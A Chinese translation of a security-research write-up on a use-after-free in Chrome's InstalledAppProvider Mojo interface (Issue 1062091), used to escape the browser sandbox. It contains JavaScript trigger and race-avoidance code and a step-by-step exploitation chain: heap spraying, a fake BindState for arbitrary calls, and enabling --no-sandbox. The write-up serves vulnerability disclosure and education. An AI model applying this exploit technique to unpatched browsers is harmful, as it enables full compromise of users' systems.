导航菜单
译文声明

本文是翻译文章,文章原作者theori,文章来源:theori.io 原文地址:https://theori.io/research/escaping-chrome-sandbox

译文仅供参考,具体内容表达以及含义原文为准

利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸

 

前言

本文主要说明我们是如何发现并利用Issue 1062091的,这是一个浏览器进程中的释放后使用(UAF)漏洞,导致Google Chrome和基于Chromium的Edge存在沙箱逃逸问题。

 

背景

我们的目标是让不熟悉Chrome漏洞利用的技术人员可以理解这篇文章,因此,我们将首先介绍Chrome的安全架构和IPC设计。特别值得一提的是,这篇文章的所有内容也同样适用于基于Chromium的Edge,该版本已经在2020年1月15日发布。

Chrome进程架构

Chrome安全体系架构的关键支撑就是沙箱。Chrome将网络的大部分攻击面(例如:DOM渲染、脚本执行、媒体解码等)限制在沙箱进程中。同时,存在一个中央进程,称之为浏览器进程,该进程可以完全不带沙箱运行。有一个图标,展示了每个进程中的攻击面,以及它们之间的各种通信通道。除了沙箱之外,Chrome还实现了站点隔离,以确保来自不同来源的数据在不同的沙箱进程中进行存储和处理。其结果是,如果攻击者攻破了一个沙箱进程,他们甚至无法获得用户其他来源的浏览数据。由于这种架构的设计,大多数Chrome漏洞利用程序都需要两个或两个以上漏洞组合利用,其中一个需要在沙箱进程(通常是渲染器进程)中执行代码,另一个要实现沙箱逃逸。我们即将研究的漏洞将破坏渲染器进程,从而可以实现沙箱逃逸。

Mojo IPC

Chrome进程共通过两种IPC机制相互通信,分别是旧版IPC和Mojo。旧版IPC即将淘汰,以实现对Mojo的完全支持,因此在本文中我们仅关注Mojo。我们引用Mojo的官方文档:“Mojo是运行时库的集合,这些运行时库提供了与平台无关的通用IPC原语抽象、消息IDL格式以及具有用于多重目标语言的代码生成功能的绑定库,以方便在任意跨进程、进程内边界传递消息。”我们将扩展这篇文章的相关部分。首先,下面是易受攻击代码中Mojo接口的定义:

// Represents a system application related to a particular web app.
// See: https://www.w3.org/TR/appmanifest/#dfn-application-object
struct RelatedApplication {
string platform;
// TODO(mgiuca): Change to url.mojom.Url (requires changing
// WebRelatedApplication as well).
string? url;
string? id;
string? version;
};
// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
// Filters |relatedApps|, keeping only those which are both installed on the
// user's system, and related to the web origin of the requesting page.
// Also appends the app version to the filtered apps.
FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
=> (array<RelatedApplication> installed_apps);
};

在Chrome构建过程中,这个接口定义会转换为每种目标语言(例如:C++、JAVA甚至JavaScript)的接口和代理对象。这个特定的接口最初仅在使用Java Mojo绑定的Android上实现,但是在最近对Windows的实验版本中,已经支持在C++中实现。我们的漏洞利用将使用JavaScript绑定(在受损的渲染器进程中运行)调用这个C++实现(在浏览器进程中运行)。此接口定义了一个FilterInstalledApps方法。默认情况下,所有方法都是异步的,有一个[Sync]属性用于覆盖此默认值。在生成的C++接口中,这意味着该方法将采取一个额外的参数,该参数需要使用结果调用的回调。在JavaScript中,该函数返回一个Promise。了解一些Mojo术语,将有助于我们阅读本文后面的代码。需要注意的是,Mojo是在近期更改了这些名称,但目前还没有修改完所有的相关代码和文档,因此我们将在必要时提供这两个名称。此外,其中某些类型在Mojo接口上是通用的,但是我们仅引用InstalledAppProvider的类型。1、MessagePipe是通过其发送Mojo消息的通道。消息包括方法调用及其回复。2、Remote<InstalledAppProvider>(在JavaScript绑定中仍然称为InstalledAppProviderPtr)是一个代理对象,在该对象上调用接口汇总定义的方法。它将MessagePipe的一端绑定到特定端口。3、PendingReceiver<InstalledAppProvider>包装MessagePipe的另一端。必须将PendingReceiver绑定到InstalledAppProvider接口的实现,才能将消息路由到特定的实现上。这个绑定被称为Receiver<InstalledAppProvider>。4、SelfOwnedReceiver<InstalledAppProvider>是一种特殊的绑定类型,用于将实现对象的生存周期与基础MessagePipe的生存周期绑定在一起。SelfOwnedReceiver对实现拥有一个std::unique_ptr,并负责在MessagePipe关闭或遇到某些错误时将其删除。关于Mojo,还有其他的一些研究领域,但对于本文来说是无关的,所以就不做过多涉及。有关更多详细信息,建议大家阅读官方文档以查询。

RenderFrameHost和Frame-Bound接口

渲染器进程中的每个帧(例如:主帧或iframe)都由浏览器进程中的RenderFrameHost支持。需要关注的是,一个渲染器进程可能包含多个帧,前提是它们都来自同源。浏览器提供的许多Mojo接口都是通过RenderFrameHost获取的。在RenderFrameHost初始化期间,为BinderMap填充了每个公开Mojo接口的回调:

void PopulateFrameBinders(RenderFrameHostImpl* host,
service_manager::BinderMap* map) {
...
map->Add<blink::mojom::InstalledAppProvider>(
base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
base::Unretained(host)));
...
}

当渲染器框架请求接口时,BinderMap中的相应回调将被调用,并传递给PendingReceiver

void RenderFrameHostImpl::CreateInstalledAppProvider(
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
InstalledAppProviderImpl::Create(this, std::move(receiver));
}
// static
void InstalledAppProviderImpl::Create(
RenderFrameHost* host,
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<InstalledAppProviderImpl>(host),
std::move(receiver));
}

在这种情况下,将创建一个新的InstalledAppProviderImpl,同时会将PendingReceiverSelfOwnedReceiver绑定。

 

漏洞分析

如上所述,SelfOwnedReceiver会为InstalledAppProviderImpl保留一个unique_ptr,这意味着只要底层MessagePipe保持连接状态,Impl就会保持活动状态。此外,InstalledAppProviderImpl包含指向RenderFrameHost的原始指针:

InstalledAppProviderImpl::InstalledAppProviderImpl(
RenderFrameHost* render_frame_host)
: render_frame_host_(render_frame_host) {
DCHECK(render_frame_host_);
}

在调用FilterInstalledApps方法时,将在这个原始指针上进行虚拟函数调用:

void InstalledAppProviderImpl::FilterInstalledApps(
std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
const GURL& manifest_url,
FilterInstalledAppsCallback callback) {
if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
return;
}
...
}

因此,如果在释放RenderFrameHost之后调用这个方法,就会发生释放后使用的情况。

漏洞生命周期

这个漏洞是在Chrome 81.0.4041.0的提交中引入的。在几周后,这个提交中的漏洞恰好移动到了实验版本命令行标志的后面。但是,这个更改位于Chrome 82.0.4065.0版本中,因此该漏洞在Chrome稳定版本81的所有桌面平台上都是可以利用的。

 

漏洞利用

触发漏洞

尽管有可能通过纯JavaScript触发该漏洞,但几乎可以肯定,攻击者不会选择这种利用方式。取而代之的是,我们可以通过启用MojoJS blink绑定(在Chrome命令行中使用--enable-blink-features=MojoJS)来模拟一个被攻击的渲染器进程。这些绑定将Mojo平台直接暴露给JavaScript,从而使我们可以完全绕过Blink绑定。请注意,可以通过被攻击的渲染器进程启用这些绑定,具体方式是翻转内存中的某一位,然后创建一个新的JavaScript上下文,因此我们的漏洞利用代码可以轻松地用于漏洞利用链之中。我们初次尝试触发该漏洞,使用了类似于漏洞报告中的方法。思路是,在顶部框架派生出几个子帧,每个子帧将获取其框架中一系列InstalledAppProvider实例的句柄。子帧会反复调用filterInstalledApps以阻塞Mojo消息管道。在几秒钟,最上方的框架将会删除子帧,从而释放备份RenderFrameHosts。这样一来,也会在InstalledAppProvider MessagePipes上导致连接错误,但我们希望,直到filterInstalledApps调用取消引用释放的指针之后,再处理连接错误。我们可以使用以下脚本创建页面:

function allocate_rfh() {
var iframe = document.createElement("iframe");
iframe.src = window.location + "#child"; // designate the child by hash
document.body.appendChild(iframe);
return iframe;
}
function deallocate_rfh(iframe) {
document.body.removeChild(iframe);
}
if (window.location.hash == "#child") {
var ptrs = new Array(4096).fill(null).map(() => {
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1);
return new blink.mojom.InstalledAppProviderPtr(pipe.handle0);
});
setTimeout(() => ptrs.map((p) => {
p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
}), 2000);
} else {
var frames = new Array(4).fill(null).map(() => allocate_rfh());
setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000);
}
setTimeout(() => window.location.reload(), 16000);

经过几次刷新后,我们终于找到了漏洞:

==8779==ERROR: AddressSanitizer: heap-use-after-free on address 0x620000067080 at pc 0x7f1aafa73589 bp 0x7ffed99af5d0 sp 0x7ffed99af5c8
READ of size 8 at 0x620000067080 thread T0 (chrome)

取消竞争

为了进行漏洞利用,我们希望能更好地控制在什么时间触发UAF。如果我们使用本地代码编写漏洞利用程序,那么即使释放了子帧,我们也可以使得Mojo连接保持活动状态,因为这些帧是在同一进程中运行。但是,在理想情况下,我们希望保留JavaScript。很快,我们就找到了MojoJSTest绑定,该绑定为JavaScript提供了一些额外的Mojo功能。我们利用的相关功能是MojoInterfaceInterceptor,它能够拦截来自同一进程中其他框架的Mojo.bindInterface调用。我们可以使用它,在子帧被销毁之前将终端句柄传递给父帧。其代码如下:

var kPwnInterfaceName = "pwn";
// runs in the child frame
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent frame
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}
// runs in the parent frame
function getFreedPtr() {
return new Promise(function (resolve, reject) {
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
interceptor.stop();
// bind and return the remote
var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
freeRFH(frame);
resolve(provider_ptr);
}
interceptor.start();
});
}

因此,我们现在可以使用getFreedPtr()获取释放的InstalledAppProviderPtrRenderFrameHost。然后,调用filterInstalledApps,随后将立即触发UAF。

替代RenderFrameHostImpl

该漏洞将会在释放的RenderFrameHost上调用虚拟函数。对于目前还不太了解虚拟调用工作原理的读者,我们建议首先阅读相关的文章。为了利用这个漏洞,我们想要控制释放对象的数据。我们可以使用常规的策略,即Blob Spraying,在浏览器进程中替换释放的对象。这种方法实际上是在释放子帧后,创建一系列的Blob(使用Blob API或Mojo绑定),其中包含长度为sizeof(RenderFrameHostImpl)的受控数据(在Chrome 81.0上为0xc38),我们希望我们的数据最终能替换堆中释放的对象。针对这个漏洞,这一过程极有可能取得成功。原因在于,RenderFrameHost是一个巨大的对象,因此在该堆的存储桶中几乎没有分配。在我们的测试过程中,通常我们分配的第一个Blob替换了该对象,但是为了达到良好的效果,我们还做了一些额外的操作。现在,我们面临一个问题:用什么替换vtable指针?这里,没有来自浏览器进程的泄露堆指针,我们无法将vtable指向我们控制的数据,因此没有明显的办法可以跳转到任意代码。实际上,我们似乎不知道任何地址。但是,Windows的ASLR上存在一个众所周知的弱点:DLL基址不会在每次加载时随机化。因此,渲染器进程和浏览器进程之间的所有共享DLL都将加载在相同的基址上,其中包括chrome.dll,这是120MB的巨大二进制文件,包含大多数Chrome代码。我们的漏洞利用将假设我们拥有这个基址,对于被攻击的渲染器而言,这一点就非常简单了。这个DLL的.rdata部分中,包含其中定义的每个虚拟类的vtable。通过将这些地址用作vtable指针,我们可以在完全受控的对象上调用任何虚拟函数。

漏洞利用方案:一个捷径

在浏览器中获取完整的代码执行,可能需要比chrome.dll中可用设备更多一些的设备(例如:来自kernel32.dll或ntdll.dll的小工具)。例如,我们可以使用堆栈透视表,将数据放入我们的受控数据中,并使用ROP分配一些RWX内存,复制Shellcode并执行。但是,为了使我们的漏洞利用相对简单,我们可以使用快捷方式。由于我们已经依赖渲染器漏洞,因此从技术上看,我们现在需要的是没有沙箱化运行的渲染器进程。幸运的是,这很容易得到。Chrome中的每个进程都有一个全局的CommandLine对象,该对象保存该进程的已解析命令行开关。浏览器进程在创建新的子进程时,会将某些开关(如果存在)从其命令行传递给子进程。其中的一个这样的开关是--no-sandbox,其功能如同其名称一样——禁用沙箱。在chrome.dll中,提供了一个函数,该函数可以让我们轻松地将这个标志附加到CommandLine对象中:

void SetCommandLineFlagsForSandboxType(base::CommandLine* command_line,
SandboxType sandbox_type) {
switch (sandbox_type) {
case SandboxType::kNoSandbox:
command_line->AppendSwitch(switches::kNoSandbox);
break;
...
}
}

因此,在我们的案例中,要实现沙箱逃逸,只需要使用正确的参数来调用这个函数。请注意,这并不是虚拟函数,因为我们不知道浏览器CommandLine对象的地址,因此我们还需要做一些工作。

避免崩溃

为了构建更为强大的原语,我们最好能反复触发该漏洞。同样,上述策略要求浏览器在漏洞利用后可以继续运行。但是,需要关注的是,漏洞调用之后还有另外的两个虚拟函数调用:

if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
...
}

如果将对GetProcess()的调用重定向到其他虚拟函数,就必须确保它返回一个可以安全进行这两个虚拟调用的指针。幸运的是,有一个简单的技巧可以解决这个问题。我们可以让第一个虚拟调用去调用以下形式的任何虚拟函数:

SomeType* SomeClass::SomeMethod() {
return &class_member_;
}

调用这些函数将会返回一个指针,该指针比render_frame_host_前面的偏移量要小,因此它仍然指向我们的受控数据。为了方便起见,我们选择一个在指针前返回8个字节的指针,例如:

content::ContentClient* ChromeMainDelegate::CreateContentClient() {
return &chrome_content_client_;
}

对于第二个虚拟调用,我们重复这个思路,可以控制最终调用,并且对于其返回值没有任何限制。下面是示意图: 利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸

获得堆泄露

根据我们的原语,泄露堆指针实际上非常容易。我们调用任何将结果分配并存储为成员的虚拟函数:

SomeClass::SomeMethod() {
some_member_ = new Foo();
}

随后,回想一下,我们已经使用Blob替换了RenderFrameHost,因此我们实际上可以要求浏览器将内容发送回我们。在这时,应该可以在其中找到堆指针。一旦获得了堆指针后,就可以使用Heap Spraying的方式,将受控数据放置在可猜测的地址位置。注意,在我们的实际利用中,我们使用了一些额外的小工具来查找原始释放的RenderFrameHost的精确地址,但这并不是必要的。

任意调用

我们希望将任意虚拟调用转换为对任何函数的任意调用。一个简单的想法是,利用堆泄露,将指向目标函数的指针放在已知(可猜测的)地址上,并将其用作我们的vtable指针。这样,就可以成功调用目标函数,但遗憾的是,参数仍然不受控制。为了控制参数,我们使用了另一种方法。回想一下,我们在目标虚拟调用期间控制了类成员,因此我们就找到了一个虚拟函数,来调用回调类成员,例如:

class FileSystemDispatcher::WriteListener
: public mojom::blink::FileSystemOperationListener {
public:
...
void DidWrite(int64_t byte_count, bool complete) override {
write_callback_.Run(byte_count, complete);
}
private:
...
WriteCallback write_callback_;
};
where WriteCallback is just an alias for a particular type of base::Callback:
using WriteCallback =
base::RepeatingCallback<void(int64_t bytes, bool complete)>;

在Chrome中,回调对象用于存储带有某些绑定参数的函数指针。就内存布局而言,它们仅包含一个指向BindState的指针,该指针具有以下布局:偏移量 字段0 refcount8 polymorphic_invoke16 destructor24 query_cancellation_traits32 functor40 arg048 arg1… …并非所有这些字段都值得关注。其中,polymorphic_invoke是一个指针,该指针负责使用绑定的参数调用回调函数。显然,polymorphic_invoke必须知道有多少绑定参数和类型,一次你我们选择了一个调用函数,该函数根据需要传递尽可能多的参数(实际上,2个就已经足够)。然后,利用堆泄露,使用目标函数和参数构建伪造的BindState对象,并将其放置在堆中的已知地址处。现在,我们触发UAF调用FileSystemDispatcher::WriteListener::DidWrite,并控制回调的BindState指针。 利用Mojo IPC的UAF漏洞实现Chrome浏览器沙箱逃逸

泄露CommandLine指针

在Chrome初始化期间,会分配全局CommandLine对象,并将指针存储在chrome.dll的.data部分中:

// The singleton CommandLine representing the current process's command line.
static CommandLine* current_process_commandline_;

当然,有很多种方法可以做到这一点。既然我们已经可以调用任何函数,则只需要调用以下函数,就可以将指针复制到一个Blob中,然后将其读回。

static
void copy64(void* dst, const void* src)
{
memmove(dst, src, sizeof(cmsFloat64Number));
}

漏洞利用小结

以上,我们就详细分析了完整的漏洞利用策略:1、使用渲染器漏洞来启用MojoJS,MojoJSTest绑定并找到chrome.dll的基址。2、触发UAF,将新分配存储在Blob中,然后将其读回,以实现堆指针泄露。3、为copy64(blob_ptr, current_process_commandline_)喷涂BindStates,触发UAF,然后读回命令行指针。4、为SetCommandLineFlagsForSandboxType(cmd_line, SandboxType::kNoSandbox)喷涂BindStates,并触发UAF。5、生成新的渲染器进程,例如:使用iframe到其他控制源。6、再次使用渲染器漏洞利用,攻击未沙箱化的渲染器进程。

 

总结

综上所述,这个漏洞利用演示了使用后释放(UAF)漏洞利用近乎理想的条件。替换释放对象的过程是高度可靠的,因为该对象位于很少使用的堆存储桶中,并且通过避免竞争条件,我们可以按需多次触发该漏洞。最终,我们能够实现进程连续化,这意味着从漏洞利用后的用户角度来看,Chrome将会持续正常运行。此外,由于我们仅使用来自chrome.dll的代码小工具,因此该漏洞很容易适配其他平台,特别是macOS,因为macOS也缺少进程间库的随机化。如果大家想要了解所有详细信息,可以在我们的漏洞报告中找到完整的利用程序。

扩展阅读

[1] https://googleprojectzero.blogspot.com/2019/04/virtually-unlimited-memory-escaping.html[2] https://chromium.googlesource.com/chromium/src.git/+/master/mojo/README.md[3] https://bugs.chromium.org/p/chromium/issues/detail?id=977462

本文翻译自 theori.io, 原文链接 。如若转载请注明出处。

相关推荐

国外某工业SCADA软件漏洞复现

  概述 近年来随着网络安全形势的日渐严峻,国内外越来越重视工业信息安全的研究。“等保2.0”专门加入了工业控制系统扩展要求,呼之欲出的“关保”中,大多数涉及国计民生的关键信息基础设施也属于工业控制系统...

微软轻量级系统监控工具sysmon原理与实现完全分析——ProcessGuid的生成

  Sysmon的众多事件看起来都是独立存在的,但是它们确实都是由每个进程的产生的,而关联这些信息的东西正是ProC++essGuid,这个对进程是唯一的。如下图 Event 23 都会有个ProcessGuid 字段,今天的这篇文章...